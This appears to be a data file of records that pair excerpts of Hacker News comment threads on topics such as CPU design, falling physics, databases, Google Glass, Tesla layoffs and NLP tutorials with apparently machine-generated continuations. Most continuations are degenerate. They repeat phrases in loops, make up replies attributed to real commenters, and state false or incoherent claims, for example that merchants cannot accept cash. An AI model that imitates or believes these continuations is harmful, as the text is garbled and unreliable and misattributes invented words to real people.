be interesting to find out:\n\n1\\. How high that degree of parallelism can be pushed, are we talking about\ntens or hundreds of pipelines?\n\n2\\. What frequency this will operate at?\n\n3\\. What is up with RAM? I saw nothing about memory, with lots of pipelines it\nis bound to be memory bound.\n\n~~~\nwillvarfar\nHi, I'm the author of that intro. The talks which Ivan has been giving - there\nare links in that intro - go into everything in much more detail. But here's a\nquick overview of your specific questions:\n\n1: we manage to issue 33 operations / sec. This is easily a world record :)\nThe way we do this is covered in the Instruction Encoding talk. We could\nconceivably push it further, but its diminishing returns. We can have lots of\ncores too.\n\n2: its process agnostic; the dial goes all the way up to 11\n\n3: the on-chip cache is much quicker than conventional architectures as the\nTLB is not on the critical path and we typically have ~25% fewer reads on\ngeneral purpose code due to backless memory and implicit zero. The main memory\nis conventional memory, though; if your algorithm is zig zagging unpredictably\nthrough main memory we can't magic that away"} +{"output_text": " at the start of that second. Thus, it takes\nmore energy to increase your speed.\n\nI don't think this is true. The energy required to accelerate the rocket is\nthe same as the energy required to accelerate the rocket to the same speed.\n\n~~~\nRetric\nThe energy required to accelerate the rocket is the same as the energy\nrequired to accelerate the rocket to the same speed.\n\nHowever, the energy required to accelerate the rocket to the same speed is", "input_text": " the\n120 -> 96 mph change is the same as that required to go from 24 -> 0\\. This\nworks out in conservation of energy because the ejected mass has kinetic\nenergy of its own.\n\nIn the case of you landing, I don't think energy balance is the way to look at\nit; each of the collisions that slows you down will transfer some energy to\nthe ground. In terms of force, the force is dependent only on the\nacceleration, so it comes down to how long each impact lasts. If each \"bounce\"\nor \"thud\" lasts the same amount of time (I don't know if this is realistic)\nthen each one will transfer 1/5th of the force, as the article says.\n\n~~~\nRetric\nYour intuition is wrong.\n\nPotential energy is linear with height. AKA it takes the same energy to climb\nfrom floor 1 to 2 as 2 to 3.\n\nGravity is 32 feet per second per second aka you gain speed over time. In a\nvacuum 0 to 32 feet per second takes 1 second, 32 to 64 feet per second takes\n1 seconds, 64 to 96 takes 1 second etc.\n\nHowever, in the first second you fall 16 feet. in the next second you fall 38\nfeet because you where falling at the start of that second. Thus, it takes\nmore energy to increase your speed.\n\nPS: What's confusing about rockets, is your fuel has momentum. So, when use it\nyour consuming the energy it took to get that fuel up to speed with you.\nFurther, at low speed most of the energy goes into the exhaust not the rocket.\n\n~~~\nbabyrainbow\n>However, in the first second you fall 16 feet. in the next second you fall 38\nfeet because you where falling"} +{"output_text": "characters.\n\n~~~\njlgaddis\n> _UCS-2 cannot manage emoticons and other newer characters._\n\nI'm not sure I understand this.\n\n~~~\nfrik\nUCS-2 is a 16 bit encoding. It can't handle emoticons and other newer\ncharacters.\n\n~~~\njlgaddis\nI'm not sure I understand what you're saying.\n\n~~~\nfrik\nUCS-2", "input_text": " but I have to take issue with point 1.4. Last I knew,\nPostgres had no support for stored procedures, which makes integration with\nprocedural languages almost useless.\n\n~~~\ndragonwriter\n> Last I knew, Postgres had no support for stored procedures, which makes\n> integration with procedural languages almost useless.\n\nSo, going through old docs, Postgres seems to have had stored procs using\nprocedural languages since at least version 7.1, released in April 2001. It\nclearly has had them for quite some time, at any rate.\n\n------\njpster\nAny recommendations for a really good PostgresSQL tutorial?\n\n~~~\nrallycarre\n[https://pgexercises.com/](https://pgexercises.com/)\n\nI've found it one of the best tutorials of anything on the web. It's\nchallenging and you learn through example.\n\n~~~\nnallerooth\nThanks, that looks great!\n\n------\nsankyo\nI cannot stand it when a post is not dated. How can I know that this isn't\nsome old, irrelevant comparison from 2001? It doesn't take much effort to add\na posting date.\n\n~~~\nanshou-\nThere doesn't appear to be any date on the site to indicate when it was\nwritten or updated.\n\n------\nfrik\nMSSQL's SQL syntax like that found in MSSQL 2012 is very outdated. Many old\nrusty parts of MSSQL date back to the Sybase, MSSQL is a fork of it. Also\nWinNT (incl Win10), MSSQL and most other MSFT software is UCS-2 which they\noften mislabel as UTF-16. UCS-2 cannot manage emoticons and other newer\n"} +{"output_text": "~~~\nlagadu\n> Yes but governments also cause problems, and if they get big enough the\n> cure can be worse than the disease. E.g. if all governments in Europe had not\n> had the power to override citizens' freedom of choice by drafting them and\n> taking their factories to make bombs, there'd have been no WW1, saving tens\n> of millions of lives. If Russian and Chinese governments in the 20th century\n> had not had the", "input_text": " away from genocide. And I don't know if the world will go to\nwar with the US over that.\n\n~~~\nlogicchains\nSo the problem with Facebook is that powerful governments might use their data\nto do horrible things, and the solution is to give governments even more power\nover our lives by letting them dictate what sites we're allowed to visit? If\nthere wasn't so much of this \"oh no, a problem, better get the government to\nsolve it\" thinking in the first place, the US government would never have\ngotten as powerful as it has.\n\n~~~\nlagadu\n> \"oh no, a problem, better get the government to solve it\"\n\nErm, that's exactly why we have governments: to solve society-level problems.\n\n~~~\nlogicchains\nYes but governments also cause problems, and if they get big enough the cure\ncan be worse than the disease. E.g. if all governments in Europe had not had\nthe power to override citizens' freedom of choice by drafting them and taking\ntheir factories to make bombs, there'd have been no WW1, saving tens of\nmillions of lives. If Russian and Chinese governments in the 20th century had\nnot had the power to override their citizen's freedom of choice and\nexpropriate their property, Stalin would not have been able to conduct his\npurges, Mao would not have been able to conduct his great leap forward, the\ngreat famine would have been avoided, saving close to a hundred million lives.\n\nAs the quote goes, \"A government big enough to give you everything you want,\nis a government big enough to take away everything that you have.\". People\nthink \"oh it couldn't happen here\"; well that's what people in Germany thought\nin the 1930s.\n\n"} +{"output_text": "-7-11-drink-\nthat-killed-my-grandmother/))\n\n~~~\njlgreco\nI think the problem is that the average American man is not a \"normal\"\nAmerican man.\n\nI think the average American man is a man who is not a \"normal\" American man.\n\n~~~\nDanBC\nI think that's true.\n\nI think the average American man is a man who is not a \"normal", "input_text": " sites I\nvisit, there isn't much of a difference (anymore). Websites have realized that\nhaving fewer high-quality ads is better than having a massive number of crap\nads.\n\n \n\nThe Average American Man's Body - r0h1n\nhttp://www.theatlantic.com/health/archive/2013/10/this-is-the-average-mans-body/280194/\n\n======\nDanBC\nThe worrying thing about this is the shift in perception.\n\nMost people are going to put Todd at \"a bit over weight\", but not \"near\nobese\". Add a few kilos to Todd to tip him into obesity, and most people are\nnot going to see much difference.\n\nGive people a Todd image of BMI > 35, with no physical activity, and still\nmost people aren't going to call that Todd obese. And if it's a woman the\ndiscussion suddenly becomes polarised with accusations of \"fat shaming\" and\n\"healthism\" and \"nanny state\" and \"causing eating disorders\". Very obese women\nare called \"curvy\" or \"voluptuous\". Any attempt to discuss the health effects\nof over weight are dismissed as a fascistic attempt to control other people.\n\nThere are so many _weird_ ideas around obesity - \"it's not sugar, it's high\nfructose corn syrup! We weren't overweight until HFCS!\". Maybe HFCS is worse\nthan regular sugar, but we also didn't use to drink 64 fluid ounces of 10%\nsugar syrup.\n([http://www.todayifoundout.com/index.php/2010/01/the-7-11-dou...](http://www.todayifoundout.com/index.php/2010/01/the"} +{"output_text": " original version was pretty terrible.\n\n------\njoezydeco\nI'm not sure I understand the point of this.\n\nI'm not a doctor, but I'm pretty sure I could do my job just fine without\nglass.\n\n~~~\nj_hall_in\nI'm not a doctor either, but I'm pretty sure I could do my job just fine\nwithout a computer.\n\n~~~\njoezydeco\nI'm not sure I", "input_text": " it when they abandoned it, because I was so excited about the tech for\nso long. I think maybe the public just wasn't ready for it then. They probably\nstill aren't now, but this could be an excellent way for them to get more\ncomfortable with it.\n\n------\nmegamindbrian\nThis is such bullshit. I applied for their private beta and never got a\nresponse.\n\n------\nsharemywin\nAw...how cute they look like little borg lite.\n\n------\nj_hall_in\nLooks like they are using the strategy of Microsoft HoloLens here which I\nthink makes sense. There isn't enough wide-spread value add in these augmented\nreality headsets for general consumer use yet, but businesses will help drive\ninnovation until that time comes.\n\n------\nMBCook\nA lot of fluff here, but not much substance. I see how having large manuals or\npaper lists in your field of view could be very useful.\n\nDoes it work well for employees with classes?\n\nI assume they've updated the chip inside to something less power-hungry. Does\nit get reasonable battery life now?\n\nWhy do doctors need Glass to record notes in the background? Couldn't _any_\ncomputer run that software?\n\n~~~\ndjsumdog\n> Why do doctors need Glass to record notes in the background? Couldn't any\n> computer run that software?\n\nI'm guessing this might have to do with voice recognition tech and the doctor\nbeing able to see the notes visually. If it picks up something incorrectly,\nmaybe the doc just turns to the computer and corrects it?\n\n~~~\njfoster\nStill sounds as though a laptop would be better. Perhaps it's now improved,\nbut the"} +{"output_text": " abstract.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\nIf you're a merchant, you can't accept credit cards. If you're a merchant, you\ncan't accept cash.\n\nIf you're a merchant, you can't accept credit cards. If you're a merchant, you\ncan't accept cash.\n\nIf you're a merchant, you can't accept credit cards. If you're a merchant, you\n", "input_text": " and what his incentive\nwould be.\n\n------\nJd\nEven though I'm not a huge Greenspan fan (are there any?), I find this money\ntransmitter stuff incredibly fascinating. I haven't reviewed the relevant\nlegal code, but I strongly suspect that Greenspan is right in that:\n\n(1) there are lots of little annoying laws related to money transmitters that\nmakes it very difficult to get new payment stuff off the ground\n\n(2) If you have deep pockets and good lawyers you can pretty much ignore these\nlaws\n\nI strongly suspect that the correct solution is to change the laws, but that\nthis is also an even greater pain in the ass than protecting yourself with\nhighly paid lawyers, esp. since relevant laws vary significantly from state to\nstate. What exactly Greenspan is attempting to prove here is beyond me, but\nI'm still quite curious as to the results.\n\n~~~\nigravious\nAhh, is this why all these tech giants use a non-money credit system for their\nstores and networks: Sony, Apple, Microsoft, Amazon(?),... there must be many\nmore.\n\n~~~\ngeorgeecollins\nThe reason why companies use points instead of $ is: 1) Easy to keep the price\nconsistent world wide 2) There is a casino chip theory that you spend more\nmoney when it is abstracted. People spend more when they use their credit\ncards as opposed to cash, etc. 3) You can sell point cards at retailers to the\nunbanked. In the Xbox case this is important because a lot of your audience is\nkids.\n\n~~~\nbobsoap\n2) is on the spot. As soon as you introduce an abstract that is one step\nremoved from money, people are more willing to gamble with that"} +{"output_text": "~~~\nWalterBright\nI think he was just being a jerk.\n\n------\njedberg\nI've been in the same situation. I've been working at a company for a year and\na half, and I've been sick for about a month. I've been sick for a month, and\nI've been sick for a month, and I've been sick for a month, and I've been\nsick for a month, and I've been sick", "input_text": " seminar where they welcomed you to the company.\nWhen the woman said \"we get 19 days PTO a year\", you'd be surprised how many\npeople shot up and said \"can we start taking them right now?\"\n\nBefore they had even worked a day! PTO days are accurred by hours worked. For\nme, it's ~6 hours per 15 calendar days. You think you're entitled to PTO\nhaving worked 0 hours?...\n\n~~~\njkaplowitz\nFor vacation days, your point makes sense to me. For sick days, people don't\nget to choose when they get sick. Someone can just as easily get sick on day 1\nor 2 of a job as on day 401 or 402.\n\n~~~\nWalterBright\nI once talked to a manager about how he handed out raises. He mentioned one\nengineer who was sick exactly 10 days out of each year. Coincidentally, the\ncompany offered 10 days of paid sick leave a year.\n\nHe laughed, and said she wasn't fooling anyone, and didn't give her a raise.\n\n~~~\nlkey\nSo he decided he'd figured out her scam without ever bringing it up in yearly\nor monthly review. He also never asked for proof of the 10 days of sick leave\nafter the first year, which is reasonable to do if he had a suspicion she was\nflouting a rule. If he wanted to factor sick days into his pay decision, he\nhad a _responsibility_ to make sure he was correct using the proper internal\nchannels.\n\nAn alternate and equally plausible view is that she had a condition that\nrendered her borderline ill more than 10 days a year, but couldn't afford to\ntake unpaid leave. So she just 'toughed it out' instead for the remaining\ndays.\n\n"} +{"output_text": "antatechvillage.com/events/atlanta-tech-\nvillage-...](https://atlantatechvillage.com/events/atlanta-tech-village-\npitch-day-2/)\n\n~~~\nBasDirks\nWe're in the process of looking for local incubators.\n\n------\njedberg\nI'm in the same boat. I'm a full time employee at a startup, but I'm also\nworking on", "input_text": " (ok, great) or\nby \"other players\" (well..)?\n\nIt seems you need to reach 10,000 points which a lot.\n\n~~~\nlegionof7\nI won Pioneer a little more than a year ago. It's been absolutely amazing for\nus and we met great people through it. Best benefit has definitely been the\ncommunity you join.\n\nProjects are voted on by experts and other players.\n\n------\nAlchemistCamp\nFundraising is just about the least meritocratic part of startups. Depending\non your social circle and markers of class, the process can be very easy or\nnear impossible for a first time founder. For most, it's extremely difficult\nto get someone to invest in your company when you're still working a full-time\njob on something else.\n\n> the one thing we want most in life is to work on our product full-time\n\nCan you cut expenses and live off of savings for a few months? If not, can you\nself-fund it as a side project until it can cover your living expenses?\n\n~~~\nBasDirks\n> Can you cut expenses and live off of savings for a few months?\n\nWe are definitely considering this.\n\n~~~\nAlchemistCamp\nThere's also no shame in taking it on in a way such that's more of a lifestyle\nbusiness than a startup.\n\nThe primary reason Alchemist Camp exists is so I can later self-fund the much\nmore ambitious startup I couldn't raise money for previously.\n\n------\nfma\nDo you have local incubators nearby? They will have pitch events and other\nresources.\n\ni.e. I live in Atlanta and here's just one random event I found at Atlanta\nTech village.\n\n[https://atl"} +{"output_text": " made is going to hurt a lot of\npeople. I don't like it.\"\n\n~~~\njblow\nI think you are oversimplifying it.\n\nI think you are oversimplifying it because you are not willing to count the\njobs that he created in the first place.\n\nI think you are oversimplifying it because you are not willing to count the\nyears of gainful employment those 3500 people had.\n\nI think you are oversimplifying", "input_text": "FromUranus\nThat won't happen. I don't think'regime change' is going to come off the\nforeign policy menu, nor is paying back all the debt that is owed. So the\nspace money is going to be eaten by debt payments and more'regime change'\ninitiatives around the world. I forgot all about foreign policy, I thought\nthere would be no money before, now i KNOW there will be no money for any of\nthat.\n\n------\n_Codemonkeyism\nAgain?\n\n------\nIBM\nThis is definitely the move of a company in the process of scaling up\nproduction of their mass market vehicle that their valuation hinges on.\nDefinitely not about managing cash flow.\n\n~~~\ngowld\nThere's no need for sarcasm. Have confidence in yourself that you can speak\nplainly and the import of your comment will be undesrtand.\n\n~~~\nRivieraKid\nI appreciate the sarcasm, adds spice to the discussion. Nothing to do with\nconfidence, that's just your attempt at putting the guy down.\n\n------\nstevievee\nTesla and SpaceX are businesses and I never understood the public fandom\nbehind them and Elon Musk. 3,500+ people losing their jobs is pretty\nsignificant for a leader who touts altruism as one of his top motivators.\n\n~~~\njblow\nYou are not going to count all the jobs he created in the first place, and the\nyears of gainful employment those 3500 people had? It\u2019s just all negative in\nyour estimation?\n\n~~~\nstevievee\nWhat an oversimplification of my comment. I'll oversimplify it for you so you\ncan't misinterpret it: \"This decision he just"} +{"output_text": " project, but I think it would be better if you could use\nsomething like [https://github.com/sindresorhus/awesome](https://github.com/sindresorhus/awesome)\nto find the best repos.\n\n~~~\njoshuamorton\nI agree. I think the best way to find the best repos is to use a curated list\nof repos.\n\n------\njoshuamorton\nI'm", "input_text": "jaymzcampbell\nSimilar to the other comments, another voice here for appreciating the \"pre-\nbuilt\" version being available for quick use. For repo's/sources like this I\ntend to think of the prebuilt formats as letting me play around with things\nwithout any hassle. Once I'm happy with it I'll invest the time to have it\nbuild locally for the control.\n\n------\nchiph\nYou might want to include common unix shell commands. At a previous job we had\na customer with the last name of Echo who wasn't able to make a purchase.\nTurns out our credit card processor blocked them.\n\n~~~\nNormal_gaussian\nJesus. Which credit card processor? That stinks of bad design.\n\n~~~\nchiph\nGiven how often they came under attack, I don't blame them for taking a \"belt\nand suspenders\" approach.\n\n~~~\npaulddraper\nMore like \"belt and helium balloons\" approach.\n\n------\nbsimpson\nTIL: `mocha:` was a custom schema that Netscape Navigator used to eval URLs\n(equivalent to `javascript:`), and Yahoo! Mail would replace it with\n'espresso' to attempt to thwart phishing attempts:\n\n[https://www.obscure.org/javascript/archives/msg01369.html](https://www.obscure.org/javascript/archives/msg01369.html)\n\n[https://www.cnet.com/news/yahoo-mail-puts-words-in-your-\nmout...](https://www.cnet.com/news/yahoo-mail-puts-words-in-your-mouth/)\n\n------\nthomasahle\nThis is a fun"} +{"output_text": " million votes and only won a few seats.\n\n~~~\nhigherpurpose\nI think the problem is that the UK is a very small country, and the UK\ngovernment is very small. The UK government is so small that it can't even\nafford to have a proper election campaign.\n\nThe UK government is so small that it can't even afford to have a proper\ncampaign to get people to vote for it.\n\n~~~\nminot\nThe UK government is so", "input_text": " concentrated in a much smaller number\nof people.\n\nThe founders and implementors of the EU \"project\" used the term \"ever tighter\nintegration\" in their founding documents, where they laid out their vision for\na United States of Europe.\n\nThey even describe how they intended to implement this via a technique called\n\"gradualism\". The idea being that big sweeping reforms would be rejected by\nthe individual polities, but that more gradual, subtle changes spread over\ntime could achieve the same effect without the same resitance. And we have\nseen this in action over the past forty years.\n\nA bit like the apochryphal boiling of a frog.\n\nThe problem is that this is in some sense subversive and in another,\npresumptious that the EU project is desired and/or sensible. At some point the\nfrog metaphor breaks down and people begin to realize what is happening and\nwhat has happened.\n\nAnd in the UK at least, finally, we are beginning to see a debate being held\non the desirability of the EU being a _political_ union (rather than the more\nprosaic free-trade area).\n\n~~~\nhigherpurpose\nAll democratic republics are in dire need of an overhaul for the 21st century.\nHowever, US and UK tend to be worse than many because of the first past the\npost voting system.\n\n~~~\nminot\nI feel bad for the voters in the UK. LD got trounced in this election but in\nthe previous two elections they had 22 and 23 percentage of votes.\n\nIn 2010, Conservatives had 47% of the seats with 36 percent of votes. Labor\nhad almost 40% with 29% of the votes. LD had 8% with 23% of votes. Even in\n2015, they had 1.2"} +{"output_text": "bitcoin](https://groups.google.com/forum/m/#!forum/bitcoin)\n\n~~~\nbachback\nI'm not sure what you mean by \"active developers\". I'm not sure what you mean\nby \"contributors\".\n\n~~~\nwcoenen\nI'm not sure what you mean by \"contributors\".\n\n~~~\nbachback\nI'm not sure what you mean by \"contributors\".\n\n------\njgrahamc", "input_text": " all networks in the world would share combined CPU power, increasing\nthe total strength. It would make it easier for small networks to get started\nby tapping into a ready base of miners.\"\n\n\"@dtvan: all 3 excellent points. 1) IP records don't need to be in the chain,\njust do registrar function not DNS. And CA problem solved, neat. 2) Pick one\nTLD,.web +1. 3) Expiration and significant renewal costs, very important.\"\n\n~~~\nbaddox\nJacobAldridge asked whether there is a better overview of Namecoin than it's\nWikipedia page. Having read the Wikipedia page and the Namecoin homepage you\nlinked, I can confidently say that the former is a much more detailed and\ninformative overview.\n\n~~~\nbachback\nstrangely enough there are a million people who know about this project and\n1-2 actually participate. it's a wiki and opensource project, so everyone in\nthe world is free to contribute. same with bitcoin. roughly 5 active\ndevelopers at the moment, working mostly in their spare time.\n\n~~~\nwcoenen\nLook at the list of contributors at the end of the release notes of the\nupcoming 0.9.0 release of the bitcoin reference client[1]. Or look at the\nactivity of other projects, e.g. the bitcoinj google group[2]. There's a lot\nmore than 5 people working on bitcoin.\n\n[1]\n[https://bitcoin.org/bin/0.9.0/test/README.txt](https://bitcoin.org/bin/0.9.0/test/README.txt)\n\n[2]\n[https://groups.google.com/forum/m/#!forum/"} +{"output_text": "ual_machine_translation)\n\n------\njameshart\nI'm not sure I understand the point of this.\n\nThe idea of a shared embedding space is that you can use it to compare\nsentences from different languages.\n\nIf you have a sentence in one language, and you want to find the closest\nsentence in another language, you can use the embedding space to find the\nclosest sentence in the other language.\n\nIf you have a sentence in one", "input_text": "A7%D9%84#Arab...](https://en.wiktionary.org/wiki/%D8%B4%D9%85%D8%A7%D9%84#Arabic)\n[https://en.wiktionary.org/wiki/%D8%A3%D9%8A%D8%B3%D8%B1#Arab...](https://en.wiktionary.org/wiki/%D8%A3%D9%8A%D8%B3%D8%B1#Arabic)\n[https://en.wiktionary.org/wiki/%D8%A3%D9%8A%D9%85%D9%86#Arab...](https://en.wiktionary.org/wiki/%D8%A3%D9%8A%D9%85%D9%86#Arabic)\n\n------\nnl\nThis is pretty interesting, and something I've played around with too\n(although not to the extent they have - I was playing with aligning word\nembedding and using them for cross lingual tasks).\n\nGoogle released a paper[1] doing zero-shot translation between unseen pairs.\nThat relied on a shared representation which they called \"interlingua\", and\nthat seems quite similar to this\n\n[1] [https://research.googleblog.com/2016/11/zero-shot-\ntranslatio...](https://research.googleblog.com/2016/11/zero-shot-translation-\nwith-googles.html)\n\n~~~\nunhammer\n[https://en.wikipedia.org/wiki/Interlingual_machine_translati...](https://en.wikipedia.org/wiki/Interling"} +{"output_text": " article is a bit light on details, but I think it's worth noting that\nEpic's \"Metaverse\" is a bit of a misnomer. It's not a virtual world, it's a\nplatform for developers to build games and apps.\n\n~~~\njedberg\nI think it's a bit of a misnomer because it's not a virtual world. It's a\nplatform for developers to build games and apps.\n\n~~~\nnsgoetz", "input_text": "-trust enforcement, maybe they\ncan become a test case for lawmakers looking for loss of competition and\nconsumer choice. (Although existing lobbying dollars from Google, Apple,\nFacebook, & company may be effective in holding back representatives. Money in\nhand, in election season no less.)\n\nEpic Games can show just how much the on-going appstore tax prevent new\nbusiness models from taking hold. They shown an incredible ability to entice\npeople to separate from their money, even convinced Disney?! to partner for\nbranded content.\n\nAlongside Epic Games licensing of the Unreal Engine at-or-below cost (12%\n[1]), I believe Sweeney's commitment to growing a \"Metaverse\" market at the\nexpense of Epic's short-term profit.\n\nThis comes alongside EPIC(.org)'s comparisons about American vs Chinese &\nemerging markets competitiveness, linked today [2].\n\n[1]:\n[https://www.matthewball.vc/all/themetaverse](https://www.matthewball.vc/all/themetaverse)\n[2]: [https://epic.org/foia/epic-v-ai-\ncommission/EPIC-19-09-11-NSC...](https://epic.org/foia/epic-v-ai-\ncommission/EPIC-19-09-11-NSCAI-FOIA-20200331-3rd-Production-pt9.pdf)\n\n~~~\nmschuster91\nIsn't Congress on summer vacation and then they'll all be fighting for\nreelection anyway? I hardly doubt anything will get passed until next year if\nit's not important enough to get a bipartisan vote.\n\n------\nnsgoetz\nThe"} +{"output_text": "reed. I read Flash Boys and it was a very interesting read, but it was\nbasically a book about how the author was a big time HFT guy and how he was\nable to get insider information. It was a very interesting read, but it was\nnot a book about HFT.\n\n------\njoshu\nI'm not sure I agree with the premise.\n\nI think the problem is that the market is too small.\n\nI think the problem", "input_text": "self you would still feel miffed that you were not given a larger\ndiscount.\n\nI admit my example doesn't have very realistic numbers.\n\n~~~\nkasey_junk\nI think he pretty clearly comes down against false advertising and giving up\nyour fiduciary duty to your clients. Those are the real issues in the court\ncase.\n\nHis main point, and one that seems to be missing in most articles about dark\npools, hft, etc. is that buy side investors are as sophisticated (or should be\nif they are to get away with charging their crazy management fees) as sell\nside participants. The whole reason they have high paying finance jobs is to\nprovide to their clients the service of making sure they are getting the best\nexecution they can.\n\n------\nmindcrime\nStrangely enough, I had never heard of a \"darkpool\" until today. I bought\n_Flash Boys_ at the airport bookstore earlier, and read it on the plane just\nnow. And tonight I find a reference to darkpools on the HN front-page. Hmmm.\nTruth really is stranger than fiction sometimes.\n\nAnyway, FWIW, if anybody here hasn't read _Flash Boys_ by Michael Lewis, it's\na pretty interesting read that covers some ground related to the content of\nthis article: HFT, dark-pools, etc. I understand that it's not without some\ncontroversy, but I found it damn interesting all the same.\n\n~~~\nkasey_junk\nAs someone who has worked in the industry, Flash Boys is literally the worst\nintro you could find into electronic trading. Dark Pools by Scott Patterson is\nmuch, much better (and even it gets basic facts incorrect).\n\n~~~\nazmenthe\nAg"} +{"output_text": " like the Surface Pro.\n\n~~~\nmattnewton\nI think they\u2019re going to release a MacBook Air with a touch bar and a\nkeyboard that folds out.\n\n~~~\nwilsonfiifi\nI think that\u2019s a good idea. I\u2019m not sure how well it will sell though.\n\n------\nmattnewton\nI think the MacBook Air is a great idea. I\u2019m not sure how well it will sell\n", "input_text": "or is just willing to lose the developer\naudience), but it's a gamble.\n\nLots of developers don't need to deploy code to servers, of course, but it's\neasy to see a situation where the momentum is felt by all. macOS's UNIX\nsupport has made it, well, I don't quite want to call it the \"de-facto\"\ndevelopment platform, but something approaching that status.\n\n------\nannoyingnoob\nApples extends its ARM, gives Intel the finger.\n\n~~~\nkiplkipl\nHoping for a job with El Reg?\n\n------\nGiorgioG\nAnd with Apple moving to ARM, any hope of serious gaming on a Mac will be\ngone.\n\n~~~\nyborg\nThat ship sailed decades ago. Rightfully so, because everyone that has the\nmoney for a Mac can easily buy a console, and much gaming has shifted to\nmobile platforms. Unless you think rainbow colored keyboard backlighting is a\nkey innovation area for a computer company, the gaming market is a complete\nwaste of time except for driving graphics hardware, which Apple has always\nlagged at even for their Pro products.\n\n~~~\nGiorgioG\nSome of us can afford Macs and consoles, but still prefer a computer for\nplaying games (graphics, kb/mouse controller, load times, etc.)\n\n------\nwilsonfiifi\nI\u2019m not sure Apple\u2019s goal is to replace their x86 line of products; that will\nalienate too many users and would involve a huge number of software to be\nported to ARM. I think they\u2019re probably going to release an iPadOS device in a\nlaptop form factor. Either foldable like the Lenovo Yoga or with a detachable\nkeyboard"} +{"output_text": " article is a bit sensationalist, but I think it's\nworth reading.\n\n~~~\njaclaz\n> Binge drinking is not synonymous with alcoholism\n\nI think it is, but I am not sure.\n\nI have been drinking alcohol for a long time, and I have never been diagnosed\nwith alcoholism, but I have been drinking a lot, and I have been diagnosed\nwith alcoholism.\n\nI have been drinking a lot, and I", "input_text": "> Australia is not as bad because of the sport culture. \"My personal trainer\n> said no\" is acceptable and most places I have work have had a mild to zero\n> drink culture.\n\nThat's a pretty specific edge case.\n\nIf you're sitting at the pub with friends or work colleagues and you're the\nonly one not drinking, you can expect some irritating comments.\n\nI've learned to deal with it. I've figured out the main reason people push a\ndrink on you is to justify their bad choices (e.g if you're at the pub with\nBob and he's sinking 12 pints tonight, he doesn't want a reminder that he's\nkilling his body and will have a terrible hangover in a few hours).\n\n~~~\nboblebricoleur\nWhen I tried to stop drinking in college, I used to fill empty beer bottles\nwith water to drink at parties. This helped a lot with social pressure. I\nreckon one could do the same in a pub if the bartender is understanding and\ndiscrete, but I never tried it.\n\n~~~\nchrisco255\nNowadays just get some Topo Chico (carbonated water) or you can drink the\nHeineken Zero.\n\n------\nwetpaws\nI did it for year. Two big benefits: first, you are loosing weight (I lost ~10\npounds) and second, craving has gone. It was seriously concerning me and a big\nmotivator to quit.\n\nI did not find much difference in how I feel, but at least this disgusting\nfeeling in your mouth in the morning has gone too.\n\n------\ncyorir\nBinge drinking is not synonymous with alcoholism, but comes with many\ndownsides nevertheless. The"} +{"output_text": "Processing.html)\n\n[https://research.google.com/pubs/pubsub.html](https://research.google.com/pubs/pubsub.html)\n\n------\njimmyvalmer\nI'd recommend reading the book \"Deep Learning\" by Ian Goodfellow. It's a\ngreat introduction to the field, and it's a great way to get a feel for the\ndifferent approaches.\n\n------\njimmyvalmer\n", "input_text": " for NLP, in PyTorch:\n[https://github.com/spro/practical-pytorch](https://github.com/spro/practical-\npytorch)\n\nSo far it covers using RNNs for sequence classification and generation, and\ncombining those for seq2seq translation. Next up is using recursive neural\nnetworks for structured intent parsing.\n\nPS: To anyone who has searched for NLP tutorials, what tutorial have you\nwanted that you couldn't find?\n\n------\nstared\nSee links in here: [http://p.migdal.pl/2017/01/06/king-man-woman-queen-\nwhy.html](http://p.migdal.pl/2017/01/06/king-man-woman-queen-why.html).\nEspecially:\n\n\\- Python packages: Gensim, spaCy\n\n\\- book:\n[https://web.stanford.edu/~jurafsky/slp3/](https://web.stanford.edu/~jurafsky/slp3/)\n\n------\ndemonshalo\nI think the best way to start is tackling a specific problem. Ex. Try building\na summarizer for any given piece of text.\n\nStart by using traditional statistical methods first in order to understand\nwhat works and what doesn't. From there, you can go on to work on an ML\nsolution to the same problem in order to see the actual difference between the\ntwo approaches in terms of comparable output.\n\n------\nnavyad\nAlso helpful to read some research papers\n\n[https://research.google.com/pubs/NaturalLanguageProcessing.h...](https://research.google.com/pubs/NaturalLanguage"} +{"output_text": " is that the business\nisn't the only thing that dies. The people who work there die, too.\n\n~~~\nbeat\nI'm not saying that the business doesn't die. I'm saying that the business\ndoesn't die because of the people who work there.\n\nThe business dies because the people who work there are not allowed to do\ntheir jobs.\n\n~~~\nNomentatus\nI'm not sure I understand. I'm not saying that the business", "input_text": "\n\nA lot of these software process issues boil down to managements never ending\nquest to commoditize developers.\n\n~~~\nbeat\nThere's an analogy I like to use... you're baking bread. Bread is just flour,\nwater, yeast, and salt, plus maybe decoration ingredients. You mix things in\nthe correct proportions, let it rise, bake at the right temp/time, and you get\nbread. Easy, right? Then someone wants you to put in raisins. \"It should be\neasy! It's just a handful of raisins, I don't see why you're telling me it\ncan't be done!\", they shout, five minutes before the oven timer goes off.\n\nScrum is, at heart, _designed precisely to stop the behavior you're\ndemanding_ \\- that is, the endless stream of \"small\" interruptions and\nconstantly shifting priorities. The raisins.\n\nWhy are you trying to \"shoe horn in work\" for _this iteration_ that you\nweren't aware was even an issue when the iteration planning happened? Is\nproduction down? Is it a hair-on-fire emergency that threatens the business?\nOr is it just \"important\". FUCK important. If it's so important, put it in the\nstory backlog and have it done in the next iteration.\n\nIf it's important enough to disrupt the iteration, it's important enough to\ncancel the iteration, toss all that iteration's unfinished work onto the\nbacklog, and start over. That's how Scrum is supposed to work, but never does,\nbecause _someone_ wants raisins at the last minute and thinks it's not a big\ndeal.\n\n~~~\nNomentatus\nYes, I have seen businesses die, both ways. The problem"} +{"output_text": " we can handle the\nenvironmental crisis is just delusional.\n\n~~~\nkraftman\nI agree with you, but I don't think it's a delusion.\n\nI think it's a realistic expectation that we can reduce our impact on the\nenvironment.\n\n~~~\nexergy\nI think it's a delusion to think that we can reduce our impact on the\nenvironment.\n\nI think it's a realistic expectation that we can reduce our impact", "input_text": "als\" on Netflix if they want a more\ndetailed explanation of problems and potential solutions. Trailer:\n[https://youtu.be/Mmqqi_DnPEE](https://youtu.be/Mmqqi_DnPEE)\n\n~~~\nkraftman\nAny suggestions for the best place to donate to have the most impact?\n\n~~~\nselectodude\nI mean, the coral are dying because the ocean temperature has gotten too high.\nDonate to yourself and stop using fossil fuels, that\u2019s the only way out at\nthis point.\n\n~~~\nkraftman\nFirst of all, it's clearly not the only way out, because the comment I replied\nto shows at least another way worth exploring.\n\nSecond of all, me reducing my fossil fuel usage to 0 wouldn't magically drop\nindustrial fossil fuel usage to 0, so that's not even a solution to the\nproblem.\n\nA new technology or enforced policy would have a much greater 